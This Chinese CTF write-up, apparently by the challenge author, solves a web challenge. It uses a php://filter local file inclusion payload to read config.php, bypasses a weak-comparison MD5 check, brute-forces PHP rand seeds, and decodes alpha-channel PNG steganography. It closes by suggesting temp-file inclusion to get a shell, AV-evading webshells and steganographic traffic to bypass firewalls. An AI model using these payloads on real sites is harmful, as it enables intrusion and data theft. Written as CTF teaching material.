接触题目第一步,英文等下看,先扫描下二维码,得到一个带有get参数的url?
这不就是同一个地址么?hxcode什么鬼?二维码不是QRcode么?
记笔记,记笔记……马克关键词……
从 readme.html
中通读1-7条信息,得到少许关键字 debug
/Alpha
/deverlopment
等信息。
归总信息:
evil7
bakdoor
可能存在后门再看看有没有 robots.txt
,在其中找到其他有用信息。
/?dev=debug
发现可查看index.php源码UserID/?id=*
在 id=1
时,发现用户名 ev1l7_1s_adm1N
是激活状态/?dev=debug
查看源码后找到非必要方式构造的静态文件读取,实为文件包涵后门 include($_GET["lnk"])
index.php
源码里看到弱比较逻辑,第一反应构造md5为科学计数值 0e\d{30}
类型,通读页面源码,发现奇怪的静态文件加载方式,居然是个include的包涵构造的GET类型API,考虑伪协议读取 config.php
验证逻辑可绕过。构造特殊md5后,通过已知用户名ev1l7_1s_adm1N
,和 特殊md5
绕过password判断。
这不是直接爆破就行了嘛!!嘎嘎大笑~
重复POST提交,直至 cookie
中 login
值与 index.php
中条件成立,成功登陆!记录 code1
和code2
为之后猜测 $max
和 $seed
做准备。
但是!本地测试枚举成功,实际发布题目后,又是另一番酸爽……
本地测试题目的时候,经过16w多次POST提交,可以直接由前两位随机数 code1
和 code2
得到一个基本雏形的预测数组。
但是实际发布题目之后发现,用来提供多种解题思路的爆破枚举方式,反而增加了游戏难度,比如做为作者,我自己都爆破不出了!哆洗喋!?哦哆key!
5. evil7 always write BUGs or fuxking things in our object! Shiiiit... in this one too.
呵呵呵,还好留有一个任意包含知识点的 include
“后门”,所以运气太差并不影响整体解答,反而让做题选手更需要理解各知识点的组合。歪打正着科科~ (。・∀・)ノ゙
从 index.php
中找到指定 seed
的伪随机算法,通过之前获得两个随机数,控制 $max
值进行随机数预测(读取 config.php
则可直接找到 $max = 1777
) ,爆破猜测得 $max
, $seed
以及关键随机数值 $rkey
, 强迫症不在乎多几秒运行,这里任性取整 2k*2k
枚举。
<?php
$sec_key = "this_is_cookie"; // Use `include()` read config.php U will get this value.
for($max=0;$max<2000;$max++){
for($seed=0;$seed<2000;$seed++){
srand($seed);
$code1 = rand(0,$max);
$code2 = rand(0,$max);
$cook = rand(0,$max);
$rkey = rand(0,$max);
$the_ck = md5($sec_key.strval($cook));
//if($_COOKIE['login'] === "5c123ab7af348c1a69c0dd3e8e948cef"){
if($the_ck === "5c123ab7af348c1a69c0dd3e8e948cef"){
//echo("AES KEY: $keyyy\n");
$verify = $code1 + $code2;
$keyyy = md5(md5($rkey) . strval($verify)); //FIND in config.php function `$err`
$out[]=$keyyy;
}
};
}
var_dump($out);
算出贼鸡儿多!怕有两斤半的AESkey!:
var_dump($out);
[0]=>
string(32) "blablabla……"
.
.
.
string(32) "b08fd397d76818a38aa4b6cf67207c41"
[2656]=>
string(32) "935b6f344a60023c56e2b61481b2f22a"
[2657]=>
string(32) "9d290f5a1461a1aa020d1310e4759cab"
[2658]=>
string(32) "014f8e781e8cc928ae3da3c338bab9d1"
[2659]=>
string(32) "07da3992bddbf87f7f0081f4476ae405"
[2660]=>
string(32) "463180bdbcc64a51ffc37172f3bde0fa"
[2661]=>
string(32) "9d290f5a1461a1aa020d1310e4759cab"
[2662]=>
string(32) "ca1570a23f9fa3fadab35c581909fc1c"
[2663]=>
string(32) "788e83cd2c3e47b351e6b9a57f476a93"
}
拿到RSAkey
,却没有加密文本?搞毛?
回到起点第一步骤 readme.html
重新梳理信息:
6. He say we will find it at first but after done all debug first. (what fuxk is that mean?)
题目入口是一个二维码,登陆入口只有一个静态图片,顺手全都下载下来,先分析有无隐写
看到通道内容确实有细微数据被修改,但是两个图均未发现直接写入的其他图片FLAG
(直接写FLAG到图里工具一键就没了,还考你干嘛?哈哈哈)
查看hint-7
以及那个多出来的get参数 hxcode
开始收集外部信息,寻找可疑信息:
7. If U need more. Pls check others in https://github.com/deepwn
发现deepwn组中只有一个开发成员,麻蛋的83个项目一个个找?挠头……
理清思路,先找找evil7账号有关验证码和图像处理的repo。
点进个人主页,第一眼就发现时间线里,跟题目上线同期发布,新项目 pngCrypto.js
!
并且看名称,正好是关于某种png像素隐写文件什么的吧?
(借鉴了某前端大佬png文件压缩js的思路,这里用作隐写简直完美~)
猜测跟某特定隐写考点有关,分析一下 pngCrypto.js/pngCrypto.js
文件中加解密实现过程。
结合查找隐写图像时,发现二维码图片第一行(first)像素出现的锯齿,再想想hint里描述的毫无意义的前4句“凑数”卵话:
1. This system is in testing.
(alpha版本:内部开发版本)
2. U can see many ideas in this version.
(此版本:1.0-Alpha)
3. We will cancel alpha when fix bug with the rand_number.
(直接指明alpha和random问题)
4. Next create new APP & QRcode after development. We must do that.
(提到QRcode将在开发后也就是“alpha版本后”换新)
如果你还不怀疑Alpha做手脚了,那你还是掐死我吧。
(仅用1000左右像素宽度,哪怕缩略图也很容易看出来啊!诺你看!)
单独拿出第一行像素内容,在黑色背景下
发现是修改后隐藏有特定信息,根据hint提示的 Alpha
开始修改 pngCrypto.js
脚本,直接构造一个html页面如下:
<!DOCTYPE html>
<html lang="en">
<head>
<title>deepCrypto</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<script type="text/javascript">
function uncrypto(f) { // 本题中我们只需要解密function
var dl = document.getElementById('dl');
dl.innerText = 'Loading...';
var reader = new FileReader();
reader.readAsDataURL(f);
reader.onload = function () {
var image = new Image();
image.src = this.result;
image.onload = function () {
var c = document.getElementById("canvas");
var ctx = c.getContext("2d");
var maxW = c.width = this.width;
var maxH = c.height = this.height;
ctx.drawImage(this, 0, 0, maxW, maxH);
var imgData = ctx.getImageData(0, 0, maxW, maxH);
var oFile = new Array();
for (var i = 0; i < imgData.data.length; i += 4) {
oFile.push(imgData.data[i+3]); // 只需要通过Alpha值还原文件buffer
};
console.log(oFile);
(oFile[oFile.length - 1] === 0) ? oFile.pop() : null;
(oFile[oFile.length - 1] === 0) ? oFile.pop() : null;
var dataBuf = new Uint8ClampedArray(oFile.length);
for (var b = 0; b < oFile.length; b++) {
dataBuf[b] = oFile[b];
}
oFile = null;
var fileBlob = new Blob([dataBuf], { type: '' }); // 可以指定{ type: 'image/png' }方便web直接显示,如果不确定图片具体格式保持缺省,下载后电脑打开也可行
var dataUrl = window.URL.createObjectURL(fileBlob);
dl.href = dataUrl;
dl.innerText = dl.download = f.name.slice(0, f.name.length - 8);
};
};
};
function start() {
var file = document.getElementById("file").files[0];
uncrypto(file);
};
</script>
</head>
<body>
<p>
<input type="file" id="file" onchange="start()" />
<a id='dl'>ONLY FILE < 100M</a>
</p>
<canvas id="canvas" width="0" height="0"></canvas>
</body>
</html>
上面直接改 pngCrypto.js
脚本,由本来三原色 RGB
加解密隐写,改为仅 Alpha
值解密。
使用抠出来的第一行像素 OR 直接修改二维码名称为test.png.dpc.png
,向页面传入,还原隐写文件如图:
通过还原得到另一类型二维码,这是个喵得法科?
谷果一下,得知为中国自主支持产权的 汉信码
(热烈鼓掌!)。
网上找到某在线解码或者自行编译相关SDK得:
http://www.efittech.com/hxdec.html
使用在线解密,点选 UTF-8
编码,decode后得到:
U2FsdGVkX19tVP7nvEyDWQ7YFDa/DpAycAh5IZyMjsNdI G23l7xvNvl48GNFFkZJ68vlQQy4jy3l6DJ7IM7xrXtmqFw/rOqSFsVGJaXjwsoA0RgWg5pe2kVMK3GnoVw
基本功的坑居然也会拦下一波人……注意那个箭头所指的!空格!
使用在线解密后,发现密文被空格断开?而RSA加密怎么可能有空格呢?呵呵……
所以替换RSA字符串中 空格
为 +
或者 /
,反正只可能出现的那几个允许的符号,一个个解密试试就好了。如下:
U2FsdGVkX19tVP7nvEyDWQ7YFDa/DpAycAh5IZyMjsNdI+G23l7xvNvl48GNFFkZJ68vlQQy4jy3l6DJ7IM7xrXtmqFw/rOqSFsVGJaXjwsoA0RgWg5pe2kVMK3GnoVw
写一个py脚本交易一下 from pwn import *
遍历之前随机数碰撞脚本得到贼鸡儿多的 RSAkey
去解密,总算发现key为 6759d92803742673713a68eebc55be40
时,出现了标准格式 FLAG{blalbalba……}
(脚本在我家电脑上……这里我眼神教学吧,大家脑海里构造一下RSA脚本就是了嘎嘎)
这里某些同学KALI下中文字符可能会出现问题,那就再用在线解密验证一下就好。
FLAG{哈哈U_FINd-it_in_the_pic!THAT's/Sofast_soBUG\干得票酿}
带过一个本人苛刻骚思路:
查看到静态资源使用了一个被evil7小朋友写进去的BUG?或者说后门?——任意文件包含。
第一反应是BUG嘛!伪协议!读个痛快。
https://hackit.cc/?lnk=php://filter/read=convert.base64-encode/resource=./config.php
利用伪协议include后直接读取config.php文件的base64值,一下就得到相关config文件的关键信息了。
那么……问题来了!
如果题目采用win做为平台?
直接构造出POST流量传输文件呢?
测试中使用如下 test.php
文件,直接表单POST['file']
,发现虽然没有处理上传的逻辑,但是tmp文件夹下,还是出现了名为 phpblablabla...
的临时文件。
<?php @echo $_FILES['file']['tmp_name'];?>
再 echo > test.php
将上面文件变为空文件,直接curl构造上传并管道输出 ls -al /tmp
发现同样存在上传临时文件!
是否通过猜测上传缓存文件夹,比如 /tmp
或 /usr/php5/temp
类似,通过传入 php<
或多线程枚举 php\s{8}
文件名称。
在windows下,可碰撞使之包含特定 $_FILES['file']['tmp_name']
?
或者通配所有 PHPsession
文件。直接构造成上传临时文件包含来getSell ?
PHP Example:
<?php
error_reporting(0);
highlight_file(__FILE__);
$f=$_FILES['file']['tmp_name'];
if($f!=NULL){
echo "TMPFILE: $f\n";
echo "-------------\n\n";
include($f);
};
?>
<form method='post' action='test.php' enctype='multipart/form-data'>
<input name='file' type='file'/>
<input type='submit'>
</form>
构造如上example.php,传入一个写有phpinfo()的文件试试?
有兴趣的小伙伴可以结合这个姿势,试试构造webshell免杀等bypass骚思路?
另结合png隐写文件压缩,能不能用来洗白流量,比如:Socket5
的bypass什么G什么FW什么的?
骚到为止,看破勿说破。哦噜科科~(。・∀・)ノ゙
本题中主要以伪协议读取文件,伪随机算法,另类像素隐写,弱点逻辑绕过等综合利用为考点,故采用linux,如果题目被引用进其他CTF比赛,此考点可以变通,请大家如果遇到,一定小心谨慎记得考虑这个姿势!
本题解法十分紧凑,你想瞎比扫就扫,想任意读就读,想用API收集信息也行,但是最后集合所有信息,才能顺利完成此题。通过其他信息的泄露,和github上开发者信息以及repo的挖掘,完成整体题目。再一来,都说不会Coding的黑客不是好开发,所以顺便考验大家 算法理解能力
/ 脚本读码能力
/ 逻辑分析能力
/ 代码修改能力
,最终在各技能方向技能组合拳磨练下,希望那些真正在这个“酸爽萝卜坑”里苦战过的大佬们,能借助本题知识点,提升自己对 情报收集
/ 算法弱点
/ 隐写分析
/ 文件解密
/ 编写技能
在实际中的熟练应用程度。(略略略,没听过吧,反正这五个坑的名字都是我瞎编的!哈哈哈嗝)
“一次好渗透,三个面支撑”:
大量的信息收集
骚气的手法思路
清晰的流程报告
以上,供大佬们温故知新基础知识巩固基本技能,祝大佬们多得平台Rank瓜分SRC高危奖金。
出题时候脑子都快绕晕了,想必大家踩坑更是辛苦,要不?跟我来手一把大鱼人教做人,为自己挽尊?……
China Dota Best Dota !
China Haka Best Haka !
China NO.1 A马勒ca NO.9 !
:) DeePwn is aweaken. Join us ?